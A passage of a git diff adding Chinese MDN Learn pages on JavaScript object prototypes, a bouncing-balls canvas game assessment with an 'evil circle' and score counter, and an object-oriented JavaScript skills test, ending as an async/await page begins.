href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/indexOf">indexOf()</a></code>、<code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace">replace()</a></code> 等。</p> + +<div class="warning"> +<p><strong>重要</strong>:<code>prototype</code> 属性大概是 JavaScript 中最容易混淆的名称之一。你可能会认为,<code>this</code> 关键字指向当前对象的原型对象,其实不是(还记得么?原型对象是一个内部对象,应当使用<code> __proto__</code> 访问)。<code>prototype</code> 属性包含(指向)一个对象,你在这个对象中定义需要被继承的成员。</p> +</div> + +<p><strong style="color: #4d4e53; font-size: 2.14286rem; font-weight: 700; letter-spacing: -1px;">create()</strong></p> + +<p>我们曾经讲过如何用 <code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/create">Object.create()</a></code> 方法创建新的对象实例。</p> + +<ol> + <li>例如,在上个例子的 JavaScript 控制台中输入: + <pre class="brush: js">var person2 = Object.create(person1);</pre> + </li> + <li><code>create()</code> 实际做的是从指定原型对象创建一个新的对象。这里以 <code>person1</code> 为原型对象创建了 <code>person2</code> 对象。在控制台输入: + <pre class="brush: js">person2.__proto__</pre> + </li> +</ol> + +<p>结果返回对象<code>person1</code>。</p> + +<h2 id="constructor_属性">constructor 属性</h2> + +<p>每个实例对象都从原型中继承了一个constructor属性,该属性指向了用于构造此实例对象的构造函数。</p> + +<ol> + <li>例如,在控制台中尝试下面的指令: + <pre class="brush: js">person1.constructor +person2.constructor</pre> + + <p>都将返回 <code>Person()</code> 构造器,因为该构造器包含这些实例的原始定义。</p> + + <p>一个小技巧是,你可以在 <code>constructor</code> 属性的末尾添加一对圆括号(括号中包含所需的参数),从而用这个构造器创建另一个对象实例。毕竟构造器是一个函数,故可以通过圆括号调用;只需在前面添加 <code>new</code> 关键字,便能将此函数作为构造器使用。</p> + </li> + <li>在控制台中输入: + <pre class="brush: js">var person3 = new person1.constructor('Karen', 'Stephenson', 26, 'female', ['playing drums', 'mountain climbing']);</pre> + </li> + <li>现在尝试访问新建对象的属性,例如: + <pre class="brush: js">person3.name.first +person3.age +person3.bio()</pre> + </li> +</ol> + +<p>正常工作。通常你不会去用这种方法创建新的实例;但如果你刚好因为某些原因没有原始构造器的引用,那么这种方法就很有用了。</p> + +<p>此外,<code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code> 属性还有其他用途。比如,想要获得某个对象实例的构造器的名字,可以这么用:</p> + +<pre class="brush: js">instanceName.constructor.name</pre> + +<p>具体地,像这样:</p> + +<pre class="brush: js">person1.constructor.name</pre> + +<h2 id="修改原型">修改原型</h2> + +<p>从我们从下面这个例子来看一下如何修改构造器的 <code>prototype</code> 属性。</p> + +<ol> + <li>回到 <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> 的例子,在本地为<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">源代码</a>创建一个副本。在已有的 JavaScript 的末尾添加如下代码,这段代码将为构造器的 <code>prototype</code> 属性添加一个新的方法: + + <pre class="brush: js">Person.prototype.farewell = function() { + alert(this.name.first + ' has left the building. Bye for now!'); +}</pre> + </li> + <li>保存代码,在浏览器中加载页面,然后在控制台输入: + <pre class="brush: js">person1.farewell();</pre> + </li> +</ol> + +<p>你会看到一条警告信息,其中还显示了构造器中定义的人名;这很有用。但更关键的是,整条继承链动态地更新了,任何由此构造器创建的对象实例都自动获得了这个方法。</p> + +<p>再想一想这个过程。我们的代码中定义了构造器,然后用这个构造器创建了一个对象实例,<em>此后</em>向构造器的 <code>prototype</code> 添加了一个新的方法:</p> + +<pre class="brush: js">function Person(first, last, age, gender, interests) { + + // 属性与方法定义 + +}; + +var person1 = new Person('Tammi', 'Smith', 32, 'neutral', ['music', 'skiing', 'kickboxing']); + +Person.prototype.farewell = function() { + alert(this.name.first + ' has left the building. Bye for now!'); +}</pre> + +<p>但是 <code>farewell()</code> 方法<em>仍然</em>可用于 <code>person1</code> 对象实例——旧有对象实例的可用功能被自动更新了。这证明了先前描述的原型链模型。这种继承模型下,上游对象的方法不会复制到下游的对象实例中;下游对象本身虽然没有定义这些方法,但浏览器会通过上溯原型链、从上游对象中找到它们。这种继承模型提供了一个强大而可扩展的功能系统。</p> + +<div class="note"> +<p><strong>注意</strong>:如果运行样例时遇到问题,请参阅 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-prototype.html">oojs-class-prototype.html</a> 样例(也可查看<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-prototype.html">即时运行</a>)。</p> +</div> + +<p>你很少看到属性定义在 prototype 属性中,因为如此定义不够灵活。比如,你可以添加一个属性:</p> + +<pre class="brush: js">Person.prototype.fullName = 'Bob Smith';</pre> + +<p>但这不够灵活,因为人们可能不叫这个名字。用 <code>name.first</code> 和 <code>name.last</code> 组成 <code>fullName</code> 会好很多:</p> + +<pre class="brush: js">Person.prototype.fullName = this.name.first + ' ' + this.name.last;</pre> + +<p>然而,这么做是无效的,因为本例中 <code>this</code> 引用全局范围,而非函数范围。访问这个属性只会得到 <code>undefined undefined</code>。但这个语句若放在 先前定义在 <code>prototype</code> 上的方法中则有效,因为此时语句位于函数范围内,从而能够成功地转换为对象实例范围。你可能会在 <code>prototype</code> 上定义常属性 (constant property) (指那些你永远无需改变的属性),但一般来说,在构造器内定义属性更好。</p> + +<div class="note"> +<p><strong>译者注</strong>:关于 <code>this</code> 关键字指代(引用)什么范围/哪个对象,这个问题超出了本文讨论范围。事实上,这个问题有点复杂,如果现在你没能理解,也不用担心。</p> +</div> + +<p>事实上,一种极其常见的对象定义模式是,在构造器(函数体)中定义属性、在 <code>prototype</code> 属性上定义方法。如此,构造器只包含属性定义,而方法则分装在不同的代码块,代码更具可读性。例如:</p> + +<pre class="brush: js">// 构造器及其属性定义 + +function Test(a,b,c,d) { + // 属性定义 +}; + +// 定义第一个方法 + +Test.prototype.x = function () { ... } + +// 定义第二个方法 + +Test.prototype.y = function () { ... } + +// 等等……</pre> + +<p>在 Piotr Zalewa 的 <a href="https://github.com/zalun/school-plan-app/blob/master/stage9/js/index.js">school plan app</a> 样例中可以看到这种模式。</p> + +<h2 id="总结">总结</h2> + +<p>本文介绍了 JavaScript 对象原型,包括原型链如何允许对象之间继承特性、<code>prototype</code> 属性、如何通过它来向构造器添加方法,以及其他有关主题。</p> + +<p>下一篇文章中,我们将了解如何在两个自定义的对象间实现功能的继承。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</p> diff --git a/files/zh-cn/learn/javascript/objects/向“弹跳球”演示程序添加新功能/index.html b/files/zh-cn/learn/javascript/objects/向“弹跳球”演示程序添加新功能/index.html new file mode 100644 index 0000000000..2730489d15 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/向“弹跳球”演示程序添加新功能/index.html @@ -0,0 +1,468 @@ +--- +title: 为“弹球”示例添加新功能 +slug: Learn/JavaScript/Objects/向“弹跳球”演示程序添加新功能 +tags: + - JavaScript + - 初学者 + - 对象 + - 测验 + - 面向对象 +translation_of: Learn/JavaScript/Objects/Adding_bouncing_balls_features +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">在此次测验中, 你需要将上一节中的“弹球”演示程序作为模板,添加一些新的有趣的功能。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>请确保完整学习本章所有内容后再开始测验。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>测试你对 JavaScript 对象和面向对象结构的理解。</td> + </tr> + </tbody> +</table> + +<h2 id="开始">开始</h2> + +<p>请先下载 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/oojs/bouncing-balls/index.html">index.html</a>、<a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css">style.css</a> 和 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/oojs/bouncing-balls/main.js">main.js</a> 三个文件。</p> + +<div class="note"> +<p><strong>注:</strong>也可以使用 <a class="external external-icon" href="http://jsbin.com/">JSBin</a> 或 <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> 这样的网站来进行测验。 你可以选择其中一个将HTML,CSS 和JavaScript 粘贴过去。 如果你的版本没有单独的 JavaScript / CSS 板块,可以把它们嵌入 HTML 页面内的 <code><script></code>/<code><style></code> 元素。</p> +</div> + +<h2 id="项目简介">项目简介</h2> + +<p>我们的弹球 demo 很有趣, 但是现在我们想让它更具有互动性,我们为它添加一个由玩家控制的“恶魔圈”,如果恶魔圈抓到弹球会把它会吃掉。我们还想测验你面向对象的水平,首先创建一个通用 <code>Shape()</code> 对象,然后由它派生出弹球和恶魔圈。最后,我们为 demo 添加一个计分器来记录剩下的球数。</p> + +<p>程序最终会像这样:</p> + +<div class="hidden"> +<h6 id="Evil_circle">Evil circle</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html lang="zh-CN"> + <head> + <meta charset="utf-8"> + <title>弹球</title> + <style> +body { + margin: 0; + overflow: hidden; + font-family: 'PingFangSC-Regular', '微软雅黑', sans-serif; + height: 100%; +} + +h1 { + font-size: 2rem; + letter-spacing: -1px; + position: absolute; + margin: 0; + top: -4px; + right: 5px; + + color: transparent; + text-shadow: 0 0 4px white; + } + +p { + position: absolute; + margin: 0; + top: 35px; + right: 5px; + color: #aaa; +} </style> + </head> + + <body> + <h1>弹球</h1> + <p></p> + <canvas></canvas> + + <script> +const BALLS_COUNT = 25; +const BALL_SIZE_MIN = 10; +const BALL_SIZE_MAX = 20; +const BALL_SPEED_MAX = 7; + +class Shape { + constructor(x, y, velX, velY, exists) { + this.x = x; + this.y = y; + this.velX = velX; + this.velY = velY; + this.exists = exists; + } +} + +class Ball extends Shape { + constructor(x, y, velX, velY, color, size, exists) { + super(x, y, velX, velY, exists); + + this.color = color; + this.size = size; + } + + draw() { + ctx.beginPath(); + ctx.fillStyle = this.color; + ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); + ctx.fill(); + } + + update() { + if ((this.x + this.size) >= width) { + this.velX = -(this.velX); + } + + if ((this.x - this.size) <= 0) { + this.velX = -(this.velX); + } + + if ((this.y + this.size) >= height) { + this.velY = -(this.velY); + } + + if ((this.y - this.size) <= 0) { + this.velY = -(this.velY); + } + + this.x += this.velX; + this.y += this.velY; + } + + collisionDetect() { + for (let j = 0; j < balls.length; j++) { + if ( ! (this === balls[j]) ) { + const dx = this.x - balls[j].x; + const dy = this.y - balls[j].y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (distance < this.size + balls[j].size && balls[j].exists) { + balls[j].color = this.color = randomColor(); + } + } + } + } +} + +class EvilCircle extends Shape { + constructor(x, y, exists) { + super(x, y, exists); + + this.velX = BALL_SPEED_MAX; + this.velY = BALL_SPEED_MAX; + this.color = "white"; + this.size = 10; + this.setControls(); + } + + draw() { + ctx.beginPath(); + ctx.strokeStyle = this.color; + ctx.lineWidth = 3; + ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); + ctx.stroke(); + } + + checkBounds() { + if ((this.x + this.size) >= width) { + this.x -= this.size; + } + + if ((this.x - this.size) <= 0) { + this.x += this.size; + } + + if ((this.y + this.size) >= height) { + this.y -= this.size; + } + + if ((this.y - this.size) <= 0) { + this.y += this.size; + } + } + + setControls() { + window.onkeydown = (e) => { + switch(e.key) { + case 'a': + case 'A': + case 'ArrowLeft': + this.x -= this.velX; + break; + case 'd': + case 'D': + case 'ArrowRight': + this.x += this.velX; + break; + case 'w': + case 'W': + case 'ArrowUp': + this.y -= this.velY; + break; + case 's': + case 'S': + case 'ArrowDown': + this.y += this.velY; + break; + } + }; + } + + collisionDetect() { + for (let j = 0; j < balls.length; j++) { + if (balls[j].exists) { + const dx = this.x - balls[j].x; + const dy = this.y - balls[j].y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (distance < this.size + balls[j].size) { + balls[j].exists = false; + count--; + para.textContent = '还剩 ' + count + ' 个球'; + } + } + } + } +} + +const para = document.querySelector('p'); +const canvas = document.querySelector('canvas'); +const ctx = canvas.getContext('2d'); + +const width = canvas.width = window.innerWidth; +const height = canvas.height = window.innerHeight; + +const balls = []; +let count = 0; + +const evilBall = new EvilCircle( + random(0, width), + random(0, height), + true +); + +loop(); + +function random(min,max) { + return Math.floor(Math.random()*(max-min)) + min; +} + +function randomColor() { + return 'rgb(' + + random(0, 255) + ', ' + + random(0, 255) + ', ' + + random(0, 255) + ')'; +} + +function loop() { + ctx.fillStyle = 'rgba(0, 0, 0, 0.25)'; + ctx.fillRect(0, 0, width, height); + + while (balls.length < BALLS_COUNT) { + const size = random(BALL_SIZE_MIN, BALL_SIZE_MAX); + const ball = new Ball( + random(0 + size, width - size), + random(0 + size, height - size), + random(-BALL_SPEED_MAX, BALL_SPEED_MAX), + random(-BALL_SPEED_MAX, BALL_SPEED_MAX), + randomColor(), + size, + true + ); + balls.push(ball); + count++; + para.textContent = '还剩 ' + count + ' 个球'; + } + + for (let i = 0; i < balls.length; i++) { + if (balls[i].exists) { + balls[i].draw(); + balls[i].update(); + balls[i].collisionDetect(); + } + } + + evilBall.draw(); + evilBall.checkBounds(); + evilBall.collisionDetect(); + + requestAnimationFrame(loop); +} + </script> + </body> +</html> +</pre> +</div> + +<ul> +</ul> + +<p>{{ EmbedLiveSample('Evil_circle', '100%', 480, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>可以 <a class="external external-icon" href="https://roy-tian.github.io/learning-area/javascript/oojs/assessment/">查看完成版本</a> 来获得更全面的体验。(别偷看源代码哦。)</p> + +<h2 id="步骤">步骤</h2> + +<p>以下各节介绍你需要完成的步骤。</p> + +<h3 id="创建我们的新对象">创建我们的新对象</h3> + +<p>首先, 改变你现有的构造器 <code>Ball()</code> 使其成为构造器 <code>Shape()</code> 并添加一个新的构造器 <code>Ball()</code> :</p> + +<ol> + <li>构造器 <code>Shape()</code> 应该像构造器 <code>Ball()</code> 那样的方式定义 <code>x</code>, <code>y</code>, <code>velX</code>, 和 <code>velY</code> 属性,但不包括 <code>color</code> 和 <code>size</code> 。</li> + <li>还应该定义一个叫 <code>exists</code> 的新属性,用来标记球是否存在于程序中 (没有被恶魔圈吃掉)。这应该是一个布尔型((<code>true</code>/<code>false</code>)。</li> + <li>构造器 <code>Ball()</code> 应该从构造器 <code>Shape()</code> 继承 <code>x</code>, <code>y</code>, <code>velX</code>, <code>velY</code>,和 <code>exists</code> 属性。</li> + <li>构造器 <code>Ball()</code> 还应该像最初的构造器 <code>Ball()</code> 那样定义一个 <code>color</code> 和一个<code>size</code> 属性。</li> + <li>请记得给构造器 <code>Ball()</code> 的<code>prototype</code> 和 <code>constructor</code> 属性设置适当的值。</li> +</ol> + +<p><code>draw()</code>, <code>update()</code>, 和<code>collisionDetect()</code> 方法定义应保持不变。</p> + +<p>你还需要为 <code>new Ball() { ... }</code> 构造器添加第五个参数—— <code>exists</code>, 且值为 <code>true</code>。</p> + +<p>到这里, 尝试重新加载代码(运行程序),程序以及重新设计的对象都应该像之前那样工作。</p> + +<h3 id="定义恶魔圈_EvilCircle">定义恶魔圈 EvilCircle()</h3> + +<p>现在是时候来看看那个坏蛋了——恶魔圈 <code>EvilCircle()</code>! 我们的游戏中只会有一个恶魔圈,但我们仍然要使用继承自 <code>Shape()</code> 的构造器来定义它,这是为让你得到锻炼。 之后你可能会想再添加一个由另一个玩家控制的恶魔圈到程序中,或者有几个电脑控制的恶魔圈。你可没法通过一个恶魔圈来掌管程序中的这个世界,但这个评估中就先只这么做吧。</p> + +<p><code>EvilCircle()</code> 构造器应该从<code>Shape()</code> 继承 <code>x</code>, <code>y</code>, 和 <code>exists</code> ,<code>velX</code> 和 <code>velY</code> 要恒为 20。</p> + +<p>可以这样做:<code>Shape.call(this, x, y, 20, 20, exists);</code></p> + +<p>它还应该定义自己的一些属性,如:</p> + +<ul> + <li><code>color</code> —— <code>'white'</code></li> + <li><code>size</code> —— <code>10</code></li> +</ul> + +<p>再次记得给你的 <code>EvilCircle()</code> 构造器的传递的参数中定义你继承的属性,并且给<code>prototype</code> 和 <code>constructor</code> 属性设置适当的值。</p> + +<h3 id="定义_EvilCircle_的方法">定义 EvilCircle() 的方法</h3> + +<p><code>EvilCircle()</code> 应该有以下四个方法:</p> + +<h4 id="draw"><code>draw()</code></h4> + +<p>这个方法和 <code>Ball()</code>'s <code>draw()</code> 方法有着相同的目的:它们把都是对象的实例画在画布上(canvas) 。它们实现的方式差不多,所以你可以先复制 <code>Ball.prototype.draw</code> 的定义。然后你需要做下面的修改:</p> + +<ul> + <li>我们不想让恶魔圈是实心的,而是一个圈或者说是环。你可以通过将 <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/fillStyle">fillStyle</a></code> 和 <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code> 修改为 <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/strokeStyle">strokeStyle</a></code> 和 <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/stroke">stroke()</a></code>而实现这个效果。</li> + <li>我们还想让这个圈更厚一点, 从而使你能更好地辨认它。 可以在调用 <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/beginPath">beginPath()</a></code> 的后面给 <code><a href="/en-US/docs/Web/API/CanvasRenderingContext2D/lineWidth">lineWidth</a></code> 赋值实现这个效果。(赋值为 3 就可以了)</li> +</ul> + +<h4 id="checkBounds"><code>checkBounds()</code></h4> + +<p>这个方法和 <code>Ball()</code> 的 <code>update()</code> 函数做相同的事情—— 查看恶魔圈是否将要超出屏幕的边界, 并且禁止它超出。 同样,你可以直接复制 <code>Ball.prototype.update</code> 的定义, 但是你需要做一些修改:</p> + +<ul> + <li>删除最后两行 — 我们不想要在每一帧中自动的更新恶魔圈的位置,因为我们会以下面所述的方式移动它。</li> + <li>在 <code>if()</code> 语句中,如果检测为真(即小恶魔圈超出边界),我们不需要更新 <code>velX</code>/<code>velY</code>;取而代之的是,我们想要修改 <code>x</code>/<code>y</code> 的值,使恶魔圈稍微地弹回屏幕。增加或减去 (根据实际判断)恶魔圈 <code>size</code> 的值即可实现。</li> +</ul> + +<h4 id="setControls"><code>setControls()</code></h4> + +<p>这个方法将会一个 <code>onkeydown</code> 的事件监听器给 <code>window</code> 对象,这样当特定的键盘按键按下的时候,我们就可以移动恶魔圈。下面的代码块应该放在方法的定义里:</p> + +<pre class="brush: js notranslate">window.onkeydown = e => { + switch(e.key) { + case 'a': + this.x -= this.velX; + break; + case 'd': + this.x += this.velX; + break; + case 'w': + this.y -= this.velY; + break; + case 's': + this.y += this.velY; + break; + } +};</pre> + +<p>所以当一个按键按下时, 事件对象的 <a href="/zh-CN/docs/Web/API/KeyboardEvent/key">key</a> 属性 就可以请求到按下的按键值。如果是代码中那四个指定的键值之一, 那么恶魔圈将会左右上下的移动。</p> + +<div class="blockIndicator warning"> +<p><strong>译注:</strong>英文页面中使用了事件对象的 <a href="/zh-CN/docs/Web/API/KeyboardEvent/keyCode">keyCode</a> 属性,不推荐在新代码中使用该属性,应使用标准 <a href="/zh-CN/docs/Web/API/KeyboardEvent/key">key</a> 属性代替。(详见介绍页面)</p> +</div> + +<div class="blockIndicator note"><strong>译注:</strong>这里的 <code>window.onkeydown</code> 用一个 <a href="/zh-CN/docs/Web/JavaScript/Reference/Functions/Arrow_functions">箭头函数</a> 代替了英文页面中的匿名函数,从而无需 <code>var _this = this</code>。</div> + +<h4 id="collisionDetect"><code>collisionDetect()</code></h4> + +<p>这个方法和 <code>Ball()</code>'s <code>collisionDetect()</code> 方法很相似,所以你可以从它那里复制过来作为新方法的基础。但有一些不同之处:</p> + +<ul> + <li>在外层的 <code>if</code> 语句中,你不需要再检验循环到的小球是否是当前 <code>collisionDetect()</code> 所在的对象 — 因为它不再是一个小球了,它是恶魔圈! 而是检查小球是否存在 (你可以通过哪个属性实现这个呢?)。如果小球不存在,说明它已经被恶魔圈吃掉了,那么就不需要再检测它是否与恶魔圈碰撞了。</li> + <li>在里层的 <code>if</code> 语句中,你不再需要在碰撞被检测到时去改变对象的颜色 — 而是需要将与恶魔圈发生碰撞的小球设置为不存在(再次提问,你觉得你该怎么实现呢?)。</li> +</ul> + +<h3 id="把恶魔圈带到程序中">把恶魔圈带到程序中</h3> + +<p>现在我们已经定义了恶魔圈,我们需要让它显示到我们的屏幕中。为了做这件事,你需要修改一下 <code>loop()</code> 函数:</p> + +<ul> + <li>首先,创建一个新的恶魔圈的对象实例 (指定必需的参数),然后调用它的 <code>setControls()</code> 方法。 这两件事你只需要做一次,不需要放在loop的循环中。</li> + <li>在你每一次遍历小球并调用 <code>draw()</code>, <code>update()</code>, 和 <code>collisionDetect()</code> 函数的地方进行修改, 使这些函数只会在小球存在时被调用。</li> + <li>在每个loop的循环中调用恶魔圈实例的方法 <code>draw()</code>, <code>checkBounds()</code>, 和<code>collisionDetect()</code> 。</li> +</ul> + +<h3 id="计算得分">计算得分</h3> + +<p>为了计算得分,需按照以下步骤:</p> + +<ol> + <li>在你的HTML文件中添加一个{{HTMLElement("p")}} 元素到 {{HTMLElement("h1")}} 元素的下面,其中包含文本 "还剩多少个球"。</li> + <li>在你的CSS文件中,添加下面的代码到底部: + <pre class="brush: css notranslate">p { + position: absolute; + margin: 0; + top: 35px; + right: 5px; + color: #aaa; +}</pre> + </li> + <li>在你的 JavaScript 文件中,做下列的修改: + <ul> + <li>创建一个变量存储段落的引用。</li> + <li>以同样的方式在屏幕上显示小球的数量。</li> + <li>增加球数并在每次将球添加到屏幕里时显示更新的球数量。</li> + <li>减少球数并在每次恶魔吃球时显示更新的球数(因为被吃掉的球不存在了)</li> + </ul> + </li> +</ol> + +<h2 id="提示">提示</h2> + +<ul> + <li>这个评估非常具有挑战性。请仔细按照步骤慢慢来。</li> + <li>每完成一个阶段时,你可以保留程序的副本,这是一种有用的方式。这样当你发现你程序出了问题,你可以参考之前的代码。</li> +</ul> + +<h2 id="评定">评定</h2> + +<p>如果你将此评估作为有组织的课程的一部分,你可以将你的成果交给您的老师/导师进行评分。 如果你是自学的,通过在 <a href="https://discourse.mozilla-community.org/t/learning-web-development-marking-guides-and-questions/16294">Learning Area Discourse thread</a>, 或者在 <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a> 的 <a href="irc://irc.mozilla.org/mdn">#mdn</a> IRC 频道上申请,你可以十分容易地得到评分指南。首先先尝试这个练习,作弊不会有任何收获。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Basics">对象基础</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Object-oriented_JS">适合初学者的 JavaScript 面向对象</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Object_prototypes">对象原型</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Inheritance">JavaScript 中的继承</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/JSON">使用 JSON 数据</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Object_building_practice">构建对象实战</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">向“弹跳球”演示程序添加新功能</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/objects/测试你的技能_colon_面向对象的javascript/index.html b/files/zh-cn/learn/javascript/objects/测试你的技能_colon_面向对象的javascript/index.html new file mode 100644 index 0000000000..8fd0cc3256 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/测试你的技能_colon_面向对象的javascript/index.html @@ -0,0 +1,95 @@ +--- +title: 测试你的技能:面向对象的Javascript +slug: 'Learn/JavaScript/Objects/测试你的技能:面向对象的Javascript' +tags: + - JavaScript + - OOJS + - 初学者 + - 学习 + - 对象 + - 测试你的技能 +translation_of: 'Learn/JavaScript/Objects/Test_your_skills:_Object-oriented_JavaScript' +--- +<div>{{learnsidebar}}</div> + +<div>这个测试的目的是为了评估你是否已经理解了我们的<a href="/zh-CN/docs/Learn/JavaScript/Objects/Object-oriented_JS">适合初学者的JavaScript面向对象</a>,<a href="/zh-CN/docs/Learn/JavaScript/Objects/Object_prototypes">对象原型</a>,和 <a href="/zh-CN/docs/Learn/JavaScript/Objects/Inheritance">JavaScript 中的继承</a>文章。</div> + +<div></div> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 你可以尝试在下方的交互编辑器,但是若你下载源码或是使用在线工具例如 <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, 或 <a href="https://glitch.com/">Glitch</a> 来进行这些项目的话,会更有帮助。</p> + +<p>如果你在过程中想不出解决方案,你可以向我们寻求帮助——查看在本页的底部章节 {{anch("Assessment or further help")}}。</p> +</div> + +<div class="blockIndicator note"> +<p><strong>注意</strong>: 在下方的例子中,如果在你的代码中有错误内容的话,错误内容将在页面的结果面板进行显示,以此来帮助你想出解决方案(若是下载的版本,请进入浏览器的 JavaScript 控制台)。</p> +</div> + +<h2 id="OOJS_1">OOJS 1</h2> + +<p>In this task we provide you with a constructor. We want you to:</p> + +<ul> + <li>Add a new method to the <code>Shape</code> class's prototype, <code>calcPerimeter()</code>, which calculates its perimeter (the length of the shape's outer edge) and logs the result to the console.</li> + <li>Create a new instance of the <code>Shape</code> class called <code>square</code>. Give it a <code>name</code> of <code>square</code> and a <code>sideLength</code> of <code>5</code>.</li> + <li>Call your <code>calcPerimeter()</code> method on the instance, to see whether it logs the calculation result to the browser DevTools' console as expected.</li> + <li>Create a new instance of <code>Shape</code> called <code>triangle</code>, with a <code>name</code> of <code>triangle</code> and a <code>sideLength</code> of <code>3</code>.</li> + <li>Call <code>triangle.calcPerimeter()</code> to check that it works OK.</li> +</ul> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/oojs/oojs1.html", '100%', 400)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/tree/master/javascript/oojs/tasks/oojs/oojs1-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="OOJS_2">OOJS 2</h2> + +<p>Next up we want you to take the <code>Shape</code> class you saw in Task #1 (including the <code>calcPerimeter()</code> method) and recreate it using ES class syntax instead.</p> + +<p>Test that it works by creating the <code>square</code> and <code>triangle</code> object instances as before (using <code>new Shape()</code> for both), and then calling their <code>calcPerimeter()</code> methods.</p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/oojs/oojs2.html", '100%', 400)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/tree/master/javascript/oojs/tasks/oojs/oojs2-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="OOJS_3">OOJS 3</h2> + +<p>Finally, we'd like you to start with the ES <code>Shape</code> class you created in the last task.</p> + +<p>We'd like you to create a <code>Square</code> class that inherits from <code>Shape</code>, and adds a <code>calcArea()</code> method that calculates the square's area. Also set up the constructor so that the <code>name</code> property of <code>Square</code> object instances is automatically set to <code>square</code>, and the <code>sides</code> property is automatically set to <code>4</code>. When invoking the constructor, you should therefore just need to provide the <code>sideLength</code> property.</p> + +<p>Create an instance of the <code>Square</code> class called <code>square</code> with appropriate property values, and call its <code>calcPerimeter()</code> and <code>calcArea()</code> methods to show that it works ok.</p> + +<p>Try updating the live code below to recreate the finished example:</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/oojs/tasks/oojs/oojs3.html", '100%', 400)}}</p> + +<div class="blockIndicator note"> +<p><a href="https://github.com/mdn/learning-area/tree/master/javascript/oojs/tasks/oojs/oojs3-download.html">Download the starting point for this task</a> to work in your own editor or in an online editor.</p> +</div> + +<h2 id="Assessment_or_further_help">Assessment or further help</h2> + +<p>You can practice these examples in the Interactive Editors above.</p> + +<p>If you would like your work assessed, or are stuck and want to ask for help:</p> + +<ol> + <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. You can write the code yourself, or use the starting point files linked to in the above sections.</li> + <li>Write a post asking for assessment and/or help at the <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse forum Learning category</a>. Your post should include: + <ul> + <li>A descriptive title such as "Assessment wanted for OOJS 1 skill test".</li> + <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li> + <li>A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li> + <li>A link to the actual task or assessment page, so we can find the question you want help with.</li> + </ul> + </li> +</ol> diff --git a/files/zh-cn/learn/javascript/异步/async_await/index.html b/files/zh-cn/learn/javascript/异步/async_await/index.html new file mode 100644 index 0000000000..ae79af9899 --- /dev/null +++ b/files/zh-cn/learn/javascript/异步/async_await/index.html @@ -0,0 +1,379 @@ +--- +title: 'async和await:让异步编程更简单' +slug: learn/JavaScript/异步/Async_await +translation_of: Learn/JavaScript/Asynchronous/Async_await +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Promises", 